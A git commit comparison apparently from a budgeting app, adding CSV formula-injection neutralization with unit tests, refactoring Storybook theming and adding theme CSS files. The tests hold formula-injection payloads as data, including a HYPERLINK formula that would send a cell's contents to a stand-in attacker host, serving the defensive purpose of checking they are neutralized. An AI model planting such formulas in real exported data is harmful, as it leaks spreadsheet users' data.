Compare commits
10 Commits
ai/sync-se
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a587ed3ebc | ||
|
|
390ed57c46 | ||
|
|
fee8fbccd1 | ||
|
|
44f1aac59a | ||
|
|
67a439f13f | ||
|
|
28f7770913 | ||
|
|
068185751c | ||
|
|
8f0265e0b0 | ||
|
|
3494f78c94 | ||
|
|
46c350613c |
@@ -154,6 +154,50 @@ describe('formatOutput', () => {
|
||||
expect(result).toContain('166500');
|
||||
expect(result).not.toContain('1665.00');
|
||||
});
|
||||
|
||||
describe('formula-injection neutralization', () => {
|
||||
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
|
||||
'prefixes a leading %j with a single quote',
|
||||
payload => {
|
||||
const data = [{ val: payload }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe(`val\n'${payload}`);
|
||||
},
|
||||
);
|
||||
|
||||
it('prefixes and quotes a leading carriage return', () => {
|
||||
const data = [{ val: '\rHELLO' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"\'\rHELLO"');
|
||||
});
|
||||
|
||||
it('quotes values containing a carriage return mid-string', () => {
|
||||
const data = [{ val: 'line1\rline2' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"line1\rline2"');
|
||||
});
|
||||
|
||||
it('neutralizes formula triggers even when the value also needs quoting', () => {
|
||||
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
const lines = result.split('\n');
|
||||
expect(lines[1]).toBe(
|
||||
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
|
||||
);
|
||||
});
|
||||
|
||||
it('does not neutralize trigger characters that appear mid-string', () => {
|
||||
const data = [{ val: 'a+b' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\na+b');
|
||||
});
|
||||
|
||||
it('does not prefix negative amount values', () => {
|
||||
const data = [{ amount: -2500 }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('amount\n-25.00');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
|
||||
if (data && typeof data === 'object') {
|
||||
const entries = Object.entries(data);
|
||||
const header = entries.map(([k]) => escapeCsv(k)).join(',');
|
||||
const values = entries
|
||||
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
|
||||
.join(',');
|
||||
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
|
||||
return header + '\n' + values;
|
||||
}
|
||||
return String(data);
|
||||
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
|
||||
const header = keys.map(k => escapeCsv(k)).join(',');
|
||||
const rows = data.map(row => {
|
||||
const r = row as Record<string, unknown>;
|
||||
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
|
||||
return keys.map(k => formatCsvCell(k, r[k])).join(',');
|
||||
});
|
||||
|
||||
return [header, ...rows].join('\n');
|
||||
}
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
function formatCsvCell(key: string, value: unknown): string {
|
||||
let formatted = formatCellValue(key, value);
|
||||
// Skip neutralization for numeric values so legitimate negative amounts
|
||||
// like "-25.00" aren't quoted as text.
|
||||
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
|
||||
formatted = "'" + formatted;
|
||||
}
|
||||
return escapeCsv(formatted);
|
||||
}
|
||||
|
||||
function escapeCsv(value: string): string {
|
||||
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
|
||||
if (
|
||||
value.includes(',') ||
|
||||
value.includes('"') ||
|
||||
value.includes('\n') ||
|
||||
value.includes('\r')
|
||||
) {
|
||||
return '"' + value.replace(/"/g, '""') + '"';
|
||||
}
|
||||
return value;
|
||||
|
||||
@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
|
||||
|
||||
import type { Preview } from '@storybook/react-vite';
|
||||
|
||||
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
|
||||
// TODO: this needs refactoring
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as lightTheme from '../../desktop-client/src/style/themes/light';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
|
||||
import darkThemeCss from '../src/themes/dark.css?inline';
|
||||
import lightThemeCss from '../src/themes/light.css?inline';
|
||||
import midnightThemeCss from '../src/themes/midnight.css?inline';
|
||||
import paletteCss from '../src/themes/palette.css?inline';
|
||||
|
||||
const THEMES = {
|
||||
light: lightTheme,
|
||||
dark: darkTheme,
|
||||
midnight: midnightTheme,
|
||||
light: lightThemeCss,
|
||||
dark: darkThemeCss,
|
||||
midnight: midnightThemeCss,
|
||||
} as const;
|
||||
|
||||
type ThemeName = keyof typeof THEMES;
|
||||
@@ -30,13 +26,10 @@ const ThemedStory = ({
|
||||
throw new Error(`No theme specified`);
|
||||
}
|
||||
|
||||
const css = Object.entries(THEMES[themeName])
|
||||
.map(([key, value]) => `--color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
|
||||
return (
|
||||
<div>
|
||||
<style>{`:root {\n${css}}`}</style>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{THEMES[themeName]}</style>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -31,6 +31,10 @@
|
||||
"./text": "./src/Text.tsx",
|
||||
"./text-one-line": "./src/TextOneLine.tsx",
|
||||
"./theme": "./src/theme.ts",
|
||||
"./themes/palette.css": "./src/themes/palette.css",
|
||||
"./themes/light.css": "./src/themes/light.css",
|
||||
"./themes/dark.css": "./src/themes/dark.css",
|
||||
"./themes/midnight.css": "./src/themes/midnight.css",
|
||||
"./tokens": "./src/tokens.ts",
|
||||
"./toggle": "./src/Toggle.tsx",
|
||||
"./tooltip": "./src/Tooltip.tsx",
|
||||
|
||||
250
packages/component-library/src/themes/dark.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray900);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray800);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple400);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-navy150);
|
||||
--color-pageText: var(--palette-navy150);
|
||||
--color-pageTextLight: var(--palette-navy300);
|
||||
--color-pageTextSubdued: var(--palette-navy500);
|
||||
--color-pageTextDark: var(--palette-navy100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple400);
|
||||
--color-pageTextLinkLight: var(--palette-purple200);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple400);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-navy800);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy700);
|
||||
--color-tableText: var(--palette-navy150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-navy500);
|
||||
--color-tableTextSelected: var(--palette-navy150);
|
||||
--color-tableTextHover: var(--palette-navy400);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy300);
|
||||
--color-tableHeaderBackground: var(--palette-navy700);
|
||||
--color-tableBorder: var(--palette-navy600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple800);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy700);
|
||||
--color-tableRowHeaderText: var(--palette-navy150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-navy500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange300);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy700);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy300);
|
||||
|
||||
--color-menuBackground: var(--palette-navy800);
|
||||
--color-menuItemBackground: var(--palette-navy800);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy500);
|
||||
--color-menuItemText: var(--palette-navy100);
|
||||
--color-menuItemTextHover: var(--palette-navy50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-navy900);
|
||||
--color-menuBorderHover: var(--palette-purple400);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-navy200);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
|
||||
--color-modalBackground: var(--palette-gray800);
|
||||
--color-modalBorder: var(--palette-navy600);
|
||||
--color-mobileHeaderBackground: var(--palette-purple800);
|
||||
--color-mobileHeaderText: var(--palette-navy150);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy700);
|
||||
--color-mobileNavBackground: var(--palette-navy800);
|
||||
--color-mobileNavItem: var(--palette-navy150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple400);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple400);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple400);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-navy700);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy150);
|
||||
--color-buttonNormalTextHover: var(--palette-navy150);
|
||||
--color-buttonNormalBackground: var(--palette-navy800);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-navy600);
|
||||
--color-buttonNormalBorder: var(--palette-navy300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy500);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-navy800);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-navy500);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green800);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green500);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange300);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple700);
|
||||
--color-upcomingText: var(--palette-purple100);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-navy800);
|
||||
--color-formInputBackgroundSelected: var(--palette-navy700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-navy600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy800);
|
||||
--color-formInputBorderSelected: var(--palette-purple400);
|
||||
--color-formInputText: var(--palette-navy150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
|
||||
--color-formInputTextSelection: var(--palette-navy800);
|
||||
--color-formInputShadowSelected: var(--palette-purple200);
|
||||
--color-formInputTextHighlight: var(--palette-purple400);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray700);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray400);
|
||||
|
||||
--color-pillBackground: var(--palette-navy800);
|
||||
--color-pillBackgroundLight: var(--palette-navy900);
|
||||
--color-pillText: var(--palette-navy200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-navy700);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-navy150);
|
||||
--color-pillBorderSelected: var(--palette-purple400);
|
||||
--color-pillTextSubdued: var(--palette-navy500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple700);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple500);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-navy900);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-navy800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple800);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy150);
|
||||
|
||||
--color-tooltipText: var(--palette-navy100);
|
||||
--color-tooltipBackground: var(--palette-navy800);
|
||||
--color-tooltipBorder: var(--palette-navy700);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
250
packages/component-library/src/themes/light.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-navy100);
|
||||
--color-pageBackgroundModalActive: var(--palette-navy200);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy100);
|
||||
--color-pageBackgroundBottomRight: var(--palette-blue150);
|
||||
--color-pageBackgroundLineTop: var(--palette-white);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy100);
|
||||
--color-pageBackgroundLineBottom: var(--palette-blue150);
|
||||
--color-pageText: #272630;
|
||||
--color-pageTextLight: var(--palette-navy500);
|
||||
--color-pageTextSubdued: var(--palette-navy300);
|
||||
--color-pageTextDark: var(--palette-navy800);
|
||||
--color-pageTextPositive: var(--palette-purple600);
|
||||
--color-pageTextLink: var(--palette-blue600);
|
||||
--color-pageTextLinkLight: var(--palette-blue300);
|
||||
|
||||
--color-cardBackground: var(--palette-white);
|
||||
--color-cardBorder: var(--palette-purple700);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-white);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy50);
|
||||
--color-tableText: var(--color-pageText);
|
||||
--color-tableTextLight: var(--palette-navy400);
|
||||
--color-tableTextSubdued: var(--palette-navy100);
|
||||
--color-tableTextSelected: var(--palette-navy700);
|
||||
--color-tableTextHover: var(--palette-navy900);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy600);
|
||||
--color-tableHeaderBackground: var(--palette-white);
|
||||
--color-tableBorder: var(--palette-navy100);
|
||||
--color-tableBorderSelected: var(--palette-purple500);
|
||||
--color-tableBorderHover: var(--palette-purple400);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-blue150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy50);
|
||||
--color-tableRowHeaderText: var(--palette-navy800);
|
||||
|
||||
--color-numberPositive: var(--palette-green700);
|
||||
--color-numberNegative: var(--palette-red500);
|
||||
--color-numberNeutral: var(--palette-navy100);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange700);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy800);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy150);
|
||||
|
||||
--color-menuBackground: var(--palette-white);
|
||||
--color-menuItemBackground: var(--palette-navy50);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy100);
|
||||
--color-menuItemText: var(--palette-navy900);
|
||||
--color-menuItemTextHover: var(--color-menuItemText);
|
||||
--color-menuItemTextSelected: var(--palette-purple300);
|
||||
--color-menuItemTextHeader: var(--palette-navy400);
|
||||
--color-menuBorder: var(--palette-navy100);
|
||||
--color-menuBorderHover: var(--palette-purple100);
|
||||
--color-menuKeybindingText: var(--palette-navy400);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-white);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green150);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
|
||||
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
|
||||
|
||||
--color-modalBackground: var(--palette-white);
|
||||
--color-modalBorder: var(--palette-white);
|
||||
--color-mobileHeaderBackground: var(--palette-purple400);
|
||||
--color-mobileHeaderText: var(--palette-navy50);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy50);
|
||||
--color-mobileNavBackground: var(--palette-white);
|
||||
--color-mobileNavItem: var(--palette-gray300);
|
||||
--color-mobileNavItemSelected: var(--palette-purple500);
|
||||
--color-mobileAccountShadow: var(--palette-navy300);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple500);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple150);
|
||||
--color-markdownDark: var(--palette-purple400);
|
||||
--color-markdownLight: var(--palette-purple100);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy100);
|
||||
--color-buttonMenuTextHover: var(--palette-navy50);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple500);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-white);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy900);
|
||||
--color-buttonNormalTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonNormalBackground: var(--palette-white);
|
||||
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalBorder: var(--palette-navy150);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-blue600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy300);
|
||||
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(--palette-navy500);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
|
||||
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green150);
|
||||
--color-noticeBackgroundLight: var(--palette-green100);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green700);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green900);
|
||||
--color-noticeTextMenu: var(--palette-green200);
|
||||
--color-noticeBorder: var(--palette-green500);
|
||||
--color-warningBackground: var(--palette-orange200);
|
||||
--color-warningText: var(--palette-orange700);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange900);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red100);
|
||||
--color-errorText: var(--palette-red500);
|
||||
--color-errorTextDark: var(--palette-red700);
|
||||
--color-errorTextDarker: var(--palette-red900);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple100);
|
||||
--color-upcomingText: var(--palette-purple700);
|
||||
--color-upcomingBorder: var(--palette-purple500);
|
||||
|
||||
--color-formLabelText: var(--palette-blue600);
|
||||
--color-formLabelBackground: var(--palette-blue200);
|
||||
--color-formInputBackground: var(--palette-navy50);
|
||||
--color-formInputBackgroundSelected: var(--palette-white);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple500);
|
||||
--color-formInputBorder: var(--palette-navy150);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy50);
|
||||
--color-formInputBorderSelected: var(--palette-purple500);
|
||||
--color-formInputText: var(--palette-navy900);
|
||||
--color-formInputTextSelected: var(--palette-navy50);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy300);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
|
||||
--color-formInputTextSelection: var(--palette-navy100);
|
||||
--color-formInputShadowSelected: var(--palette-purple300);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableBackground);
|
||||
--color-checkboxBackgroundSelected: var(--palette-blue500);
|
||||
--color-checkboxBorderSelected: var(--palette-blue500);
|
||||
--color-checkboxShadowSelected: var(--palette-blue300);
|
||||
